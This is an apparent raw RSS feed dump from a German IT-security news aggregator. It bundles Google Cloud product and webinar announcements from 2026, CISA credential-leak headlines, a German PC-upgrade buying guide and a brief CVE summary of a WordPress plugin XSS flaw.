    • Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent
      Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.

      You can read more of this capability by clicking this link.

    Jun 15 - Jun 19

    • Join us for a deep dive into agentic AI control with AppyThings
      Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access. 

      Register for the session
    • Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview
      Google Compute Engine has launched Capacity Advisor for Spot to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the Capacity Advisor API for obtainability and minimum estimated uptimes, or use the new Console UI featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.

      Get started today to start optimizing your Spot VM deployments!
    • Build a multi-tenant agentic AI system
      When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to design and deploy a multi-tenant agentic AI system in Google Cloud.
    • How to Configure Gemini Enterprise to Connect to a Custom MCP Server
      The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog post provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.

    Jun 8 - Jun 12

    • Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available 
      Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability. 

      Get started for free today

    Jun 1 - Jun 5

    • Modeling the physical world with BigQuery Graph
      Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this post, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.
    • Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)
      Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.

      Register for the June 18 Spanish Community TechTalk

    May 25 - May 29

    • Anthropic’s Claude Opus 4.8 is now available on Gemini Enterprise Agent Platform. As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.

    • API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs
      Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.

      Register now
    • Securing AI Agents: The Extended Agent Gateway Pattern
      Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.

      Register for the June 4 Community TechTalk
    • API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP
      Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.

      Register for the June 11 Community TechTalk

    May 18 - May 22

    • Chinese Webinar | June 4: AI Command and Control
      As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.

      Register here
    • GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases
      Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new capabilities to benchmark and debug LLM performance across these devices. Sign-up to utilize these new features in private preview today.

    May 11 - May 15

    • Build Your AI & MCP Control Tower for Universal Governance
      Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.

      Register for the May 21 Community TechTalk

    Apr 27 - May 1

    • Master Your Launch: The Apigee Production Go-Live Checklist
      Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.

      Register for the May 28 Community TechTalk

    • Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform
      Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe LalevĂŠe on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.

      Register for the May 7 Community TechTalk

    • Fractional G4 VMs are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
      • 1/2 GPU: Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.
      • 1/4 GPU: Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.
      • 1/8 GPU: Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.

    • Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI & Agentic solutions are robust, secure, and ready for the real world.

      Watch the deep dive and read the developer blog to learn more.

    • ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available
      Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.

    Apr 20 - Apr 24

    • Announcing the 2026 Google Cloud Partners of the Year
      Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.

      See the 2026 Partner Award winners

    Apr 13 - Apr 17

    • We're excited to announce the Public Preview of Datastream’s metadata integration with Knowledge Catalog. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.
    • Upgrading Apigee OPDK to 4.53 with OS Modernization
      Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition

      Read the guide
    • Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale
      Google Cloud has announced the General Availability of Cloud Run worker pools, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the Cloud Run External Metrics Autoscaler (CREMA). Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.
    • Apigee Model Context Protocol (MCP) now Generally Available
      Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.

      Explore the MCP overview

    Apr 6 - Apr 10

    • Community TechTalk: Powering Retail Agents with ADK, UCP & Apigee X
      Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.

      Register for the TechTalk
    • Implement multimodal capabilities in your AI agents
      Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see Classify multimodal data. To create a fluid conversational AI that processes audio and video streams in real time, see Enable live bidirectional multimodal streaming. To consolidate fragmented multimodal data into a searchable knowledge graph, see Multimodal GraphRAG resource orchestration.
    • Automate SecOps workflows with an agentic AI system
      To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to orchestrate security operations workflows.

    Mar 30 - Apr 3

    • ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP
      As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts Shilpi Puri & Wely Lau for a webinar on April 30th at 11:00 AM SGT to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.

      RSVP here.

    Mar 23 - Mar 27

    • Turn your API sprawl into an agent-ready catalog
      As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.

      Read the full blog post to get started.

    • Webinar | April 16: AI Command & Control
      As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.

      RSVP here.

    • Modernizing and Decoupling Event Ingestion with Apigee
      In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.

      Read the full guide.

    Mar 16 - Mar 20

    • Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades
      The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.

      Explore the full range of what the assistant can do.

    Mar 9 - Mar 13

    • Want to use Gemini to develop code and don't know where to start?
      This article includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github. 

    Mar 2 - Mar 6

    • Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model. Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.

      Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via Vertex AI and developers via the Gemini API in Google AI Studio.

    • TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee
      Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.

      Register for the TechTalk

    Feb 23 - Feb 27

    • Pro-level image generation gets faster and more accessible with Nano Banana 2
      Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model here.

    • The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud
      Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.

      By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy.

      Learn more.

    • Stop typing, start interacting! The Gemini Live Agent Challenge is here. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!

      Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at geminiliveagentchallenge.devpost.com

    Feb 9 - Feb 13

    • Introducing Gemini 3.1 Pro on Google Cloud. 

      3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our goal to help you transform your business for the agentic future. Learn more about the model’s capabilities here. Gemini 3.1 Pro is available starting today in preview in Vertex AI and Gemini Enterprise. Developers can access the model in preview via the Gemini API in Google AI Studio, Android Studio, Google Antigravity, and Gemini CLI.

    • Automate Storage Compatibility with GKE Dynamic Default Storage Classes
      Managing storage across mixed-generation VM clusters in GKE just got easier. With the new Dynamic Default Storage Class, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.

      Explore automated disk type selection

    • Community TechTalk: AI-Powered Apigee Development with strofa.io
      Join the Apigee community on February 26 for a deep dive into strofa.io. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.

      Register now to reserve your spot.

    Jan 26 - Jan 30

    • Simplify API Governance with Native OpenAPI v3 Support
      Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.

      Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.
    • Accelerate API Testing with the New Open Source API Tester
      Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like proxy.basepath without leaving your terminal.

      Explore the API Tester guide and start testing your proxies today.
    • Secure Sensitive Data with Kubernetes Secrets in Apigee hybrid
      Enhance security in Apigee hybrid by accessing Kubernetes Secrets directly within your API proxies. This hybrid-exclusive feature keeps sensitive credentials within your cluster boundary and prevents replication to the management plane. It supports strict separation of duties: operators manage secrets via kubectl, while developers reference them as secure flow variables—ideal for high-compliance and GitOps workflows.

      Implement Kubernetes Secrets in your hybrid proxies.
    • See the Console in a Whole New Light: Dark Mode is Now Generally Available in Google Cloud
      Elevate your cloud management workflow with Dark Mode, now generally available in the Google Cloud console. We have delivered a modern, cohesive, and accessible experience reimagined for maximum comfort and productivity—especially during extended working hours and low-light environments. Dark Mode can be enabled automatically based on your operating system's preference, or manually through the Settings  -> Appearance menu.

      Switch to Dark Mode today to enjoy a modern, comfortable, and productive environment!
    • Apigee X Networking: PSC or VPC Peering?
      Deciding how to connect Apigee X? Watch this video to compare Private Service Connect and VPC Peering. We break down northbound and southbound routing, IP consumption, and how to reach targets on-prem or in the cloud. Learn to simplify your architecture and avoid common networking "gotchas" for a smoother deployment.

      Watch the video.

    Jan 19 - Jan 23

    • Bridge the Gap: Excel-to-API Conversion in Apigee Portals
      Give your customers more ways to connect! This new article by Tyler Ayers explores how to extend the Apigee Integrated Portal to support direct Excel file uploads. By leveraging SheetJS and custom portal scripts, you can enable users to upload spreadsheets, preview data, and submit it directly to your APIs, all without writing a single line of integration code themselves. It’s a powerful way to simplify onboarding for those who aren't yet API-ready.

      Learn how to build it.
    • Elevate your applications with Firestore’s new advanced query engine
      We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.

      Learn more about Firestore pipeline operations.
    ]]>         <![CDATA[AWS GovCloud Credential Leak Leads CISA to Share Critical Cyber Incident Lessons]]> https://tsecurity.de/de/3661713/it-security-nachrichten/aws-govcloud-credential-leak-leads-cisa-to-share-critical-cyber-incident-lessons/ https://tsecurity.de/de/3661713/it-security-nachrichten/aws-govcloud-credential-leak-leads-cisa-to-share-critical-cyber-incident-lessons/ Sat, 11 Jul 2026 13:07:32 +0200 📰 IT Security Nachrichten tsecurity.de The Cybersecurity and Infrastructure Security Agency (CISA) has disclosed details of an internal security incident involving exposed AWS GovCloud credentials, offering a transparent account of its own incident response to help other organizations strengthen their defenses. On Friday, May 15,…

    Read more →

    The post AWS GovCloud Credential Leak Leads CISA to Share Critical Cyber Incident Lessons appeared first on IT Security News.

    ]]>         <![CDATA[AWS GovCloud Credential Leak Leads CISA to Share Critical Cyber Incident Lessons]]> https://tsecurity.de/de/3661685/it-security-nachrichten/aws-govcloud-credential-leak-leads-cisa-to-share-critical-cyber-incident-lessons/ https://tsecurity.de/de/3661685/it-security-nachrichten/aws-govcloud-credential-leak-leads-cisa-to-share-critical-cyber-incident-lessons/ Sat, 11 Jul 2026 12:36:57 +0200 📰 IT Security Nachrichten tsecurity.de The Cybersecurity and Infrastructure Security Agency (CISA) has disclosed details of an internal security incident involving exposed AWS GovCloud credentials, offering a transparent account of its own incident response to help other organizations strengthen their defenses. On Friday, May 15, CISA’s Office of the Chief Information Officer (OCIO) launched an internal investigation after an investigative […]

    The post AWS GovCloud Credential Leak Leads CISA to Share Critical Cyber Incident Lessons appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ]]>         <![CDATA[RAM, SSD oder neue CPU – welches Upgrade bringt wirklich was?]]> https://tsecurity.de/de/3661458/windows-tipps/ram-ssd-oder-neue-cpu-welches-upgrade-bringt-wirklich-was/ https://tsecurity.de/de/3661458/windows-tipps/ram-ssd-oder-neue-cpu-welches-upgrade-bringt-wirklich-was/ Sat, 11 Jul 2026 09:40:09 +0200 🪟 Windows Tipps tsecurity.de

    Manche PC-Upgrades bringen spürbar mehr Leistung, andere verbrennen nur Ihr Geld. Entscheidend ist, gezielt dort nachzurüsten, wo echte Flaschenhälse die Performance begrenzen. Welche Upgrades das sind – und wo Sie aktuell besonders gut zweimal nachdenken sollten – zeigen wir Ihnen hier.

    NVMe-SSD: FĂźr fast jeden PC ein sofortiger Gewinn

    Eine schnelle NVMe-SSD ist fßr beinahe jedes System ein deutlicher Gewinn. Sie bietet gegenßber klassischen HDDs nicht nur wesentlich kßrzere Zugriffszeiten, sondern erreicht auch hohe sequenzielle sowie zufällige Transferraten. Das verkßrzt Ladezeiten spßrbar, lässt Anwendungen praktisch verzÜgerungsfrei starten und sorgt fßr ein insgesamt reaktionsfreudigeres System.

    DDR5-RAM

    Der Einbau von schnellem DDR5-RAM steigert das Reaktionstempo des Systems und kann vor allem bei speicherintensiven Anwendungen wie Gaming oder Videoschnitt deutliche Leistungsvorteile bewirken.

    Foundry

    PCIe-4.0-Modelle sind mit einem Terabyte bereits ab rund 130 Euro erhältlich. Nach oben geht die Spanne bis etwa 200 Euro für Laufwerke mit bis zu 7.000 MB/s und DRAM-Cache. Bewährte Optionen in der oberen Klasse sind etwa die Crucial P310 1TB als solides Allround-Laufwerk oder die Samsung 990 PRO 1TB. Achten Sie beim Kauf auf die Schlagwörter “Gaming” oder “Videoschnitt” in der Produktbeschreibung. So können Sie sicher sein, dass das Laufwerk für dauerhaft hohe Lasten ausgelegt ist.

    Einen Blick wert sind aber in jedem Fall auch PCIe-5.0-Modelle: Die fünfte Generation liefert Leseraten von bis zu 14.500 MB/s und liegt preislich inzwischen kaum noch über vergleichbaren PCIe-4.0-Laufwerken. Greift man ohnehin neu zu, sind die Acer Predator GM9 1TB oder die Lexar ARES PRO 1TB eine zukunftssicherere Wahl. Im Gaming-Alltag fällt der Unterschied zur vierten Generation kaum ins Gewicht, da aktuelle Spiele die zusätzliche Bandbreite bislang nicht ausreizen. Bei regelmäßigen Transfers gewaltiger Dateien oder der Arbeit mit 4K- und 8K-Videomaterial hingegen werden Sie den Leistungssprung durchaus bemerken.

    Arbeitsspeicher: Jetzt genau hinschauen, bevor Sie kaufen

    Arbeitsspeicher-Upgrades entfalten ihre Wirkung vor allem dann, wenn der Rechner regelmäßig an seine Auslastungsgrenze stößt. Ob RAM tatsächlich der Flaschenhals ist, verrät ein Blick in den Task-Manager: Öffnen Sie ihn mit Strg-Alt-Entf, wechseln Sie zum Reiter “Leistung” und beobachten Sie die Arbeitsspeicher-Auslastung unter Last. Klettert sie dauerhaft über 80 Prozent, ist ein Upgrade sinnvoll. Schnelleres RAM mit niedrigerer Latenz kann darüber hinaus die Leistung in speicherintensiven Anwendungen steigern.

    Was Sie 2026 aber unbedingt wissen sollten: Der RAM-Markt hat sich seit Herbst 2025 dramatisch verändert. DDR5-6000-Kits mit 32 Gigabyte, die im Sommer 2025 noch für unter 100 Euro zu haben waren, kosten aktuell teils 400 bis 450 Euro. Ursache ist die stark gestiegene Nachfrage durch KI-Rechenzentren, die einen Großteil der globalen Speicherchip-Produktion beanspruchen.

    Laut dem Marktforschungsinstitut TrendForce ist mit nennenswerten Preissenkungen frühestens ab Mitte 2027 zu rechnen. AMD selbst äußerte sich auf der Computex 2026 noch pessimistischer und nannte 2028 als realistischeres Datum. Wer auf AM4 mit DDR4 sitzt und damit zufrieden ist, sollte den Plattformwechsel deshalb gut abwägen. Ein Umstieg auf DDR5 zieht in der Regel auch ein neues Mainboard und eine neue CPU nach sich.

    Grafikkarte: Das wirkungsvollste Gaming-Upgrade – mit einer wichtigen Faustregel

    Für Gamer ist eine leistungsstarke GPU meistens das Upgrade mit dem größten Effekt: höhere Bildraten, stabilere Frametime-Verläufe, bessere Grafikqualität und die Unterstützung moderner Rendering-Techniken wie Raytracing sowie der KI-gestützten Upscaling-Verfahren DLSS 4 und FSR 4. Letztere sind 2026 keine optionalen Zusatzfeatures mehr, sondern der praktische Weg, in anspruchsvollen Titeln spielbare Frameraten zu erzielen.

    Beim Kauf gilt eine Faustregel, die Sie unbedingt beachten sollten: Achten Sie auf ausreichend Grafikspeicher. Wie viel VRAM Sie für Ihren Gaming-PC wirklich benötigen, hängt stark von der Auflösung ab. Einen ausführlichen Überblick dazu finden Sie in unserem VRAM-Ratgeber. Als Orientierung gilt: 8 Gigabyte VRAM geraten bei aktuellen AAA-Titeln zunehmend an ihre Grenzen, 12 Gigabyte sind das sinnvolle Minimum, 16 Gigabyte der entspannte Sweetspot für die nächsten Jahre. Kauftipps für Ihre neue Grafikkarte finden Sie hier: Diese Grafikkarten sind ihr Geld wert.

    Vor einer Neuanschaffung sollten Sie außerdem prüfen, ob Ihre CPU stark genug ist, um die neue GPU nicht auszubremsen. Mehr dazu im Folgenden.

    Prozessor: Wann sich das teuerste Upgrade wirklich lohnt

    Mehr Kerne, eine hÜhere IPC (Instructions per Cycle; Befehle, die ein Prozessor pro Taktzyklus abarbeitet) und moderne Befehlssätze bringen Vorteile in rechenlastigen Anwendungen, Rendering-Workflows und CPU-lastigen Spielen.

    Ob die CPU tatsächlich bremst und ein Upgrade benÜtigt, zeigt der Task-Manager: Liegt die CPU-Auslastung unter Last dauerhaft nahe 100 Prozent, während die GPU noch Reserven hat, ist das ein deutliches Indiz fßr einen CPU-Engpass. Welche CPU-GPU-Kombinationen dabei gut harmonieren, erklärt unser Artikel: Die besten Grafikkarten-CPU-Kombinationen fßr Spieler.

    Planen Sie dabei den Gesamtaufwand realistisch ein: Ein CPU-Wechsel zieht häufig auch ein neues Mainboard und passenden Arbeitsspeicher nach sich. Haben Sie keinen nachweisbaren Engpass, stecken Sie das Geld besser in GPU oder SSD. Dort ist der Effekt in den meisten Szenarien deutlich unmittelbarer. Kauftipps fßr Ihre neue Gaming-CPU finden Sie hier: Der ideale Gaming-Prozessor ab 80 Euro.

    GPU Tausch

    Wer nach einigen Jahren den Desktop-PC auf eine neue GPU umrĂźsten mĂśchte, braucht oft auch eine neue CPU. Das lĂśst oft eine Kette von Neuanschaffungen aus.

    Foundry

    Kßhlung und Netzteil: Oft unterschätzt, aber wirkungsvoll

    Die Kßhlung gehÜrt zu den Upgrades, die viele unterschätzen. Ein leiser Tower-Kßhler oder eine AiO-Wasserkßhlung senken nicht nur Temperaturen, sondern ermÜglichen es auch, Boost-Taktraten länger zu halten. Das kann messbar mehr Leistung bedeuten.

    Zusätzliche Gehäuselüfter optimieren den Airflow, halten die VRMs (Spannungswandler) kühler und verlängern hierdurch die Lebensdauer der Komponenten. Ein effizientes Netzteil mit hoher Spannungsstabilität ist besonders bei High-End-GPUs der aktuellen Generation relevant. Nvidias RTX-50-Karten setzen zudem auf den neuen 12V-2×6-Anschluss – das Netzteil sollte daher ATX 3.1 zertifiziert sein, um Lastspitzen sauber abzufangen und den Energieverbrauch zu senken. Kauftipps für Ihr neues Netzteil finden Sie hier: Die besten PC-Netzteile – unsere Empfehlungen von 650 bis 1650 Watt.

    ]]>         <![CDATA[CVE-2026-12141 | leap13 Premium Addons for Elementor Plugin up to 4.11.84 on WordPress Template Rendering /section/print_template premium_tooltip_text cross site scripting (EUVD-2026-43142)]]> https://tsecurity.de/de/3661382/sicherheitsluecken/cve-2026-12141-leap13-premium-addons-for-elementor-plugin-up-to-41184-on-wordpress-template-rendering-sectionprinttemplate-premiumtooltiptext-cross-site-scripting-euvd-2026-43142/ https://tsecurity.de/de/3661382/sicherheitsluecken/cve-2026-12141-leap13-premium-addons-for-elementor-plugin-up-to-41184-on-wordpress-template-rendering-sectionprinttemplate-premiumtooltiptext-cross-site-scripting-euvd-2026-43142/ Sat, 11 Jul 2026 08:38:42 +0200 🕵️ Sicherheitslücken tsecurity.de leap13 Premium Addons for Elementor Plugin up to 4.11.84 on WordPress. It has been rated as problematic. Affected by this issue is the function print_template of the file /section/print_template of the component Template Rendering. The manipulation of the argument premium_tooltip_text leads to cross site scripting. This vulnerability is documented as CVE-2026-12141. The attack can be initiated remotely. There is not any exploit available.]]> <![CDATA[AWS GovCloud Credential Leak Prompts CISA to Publish Key Cyber Incident Lessons]]> 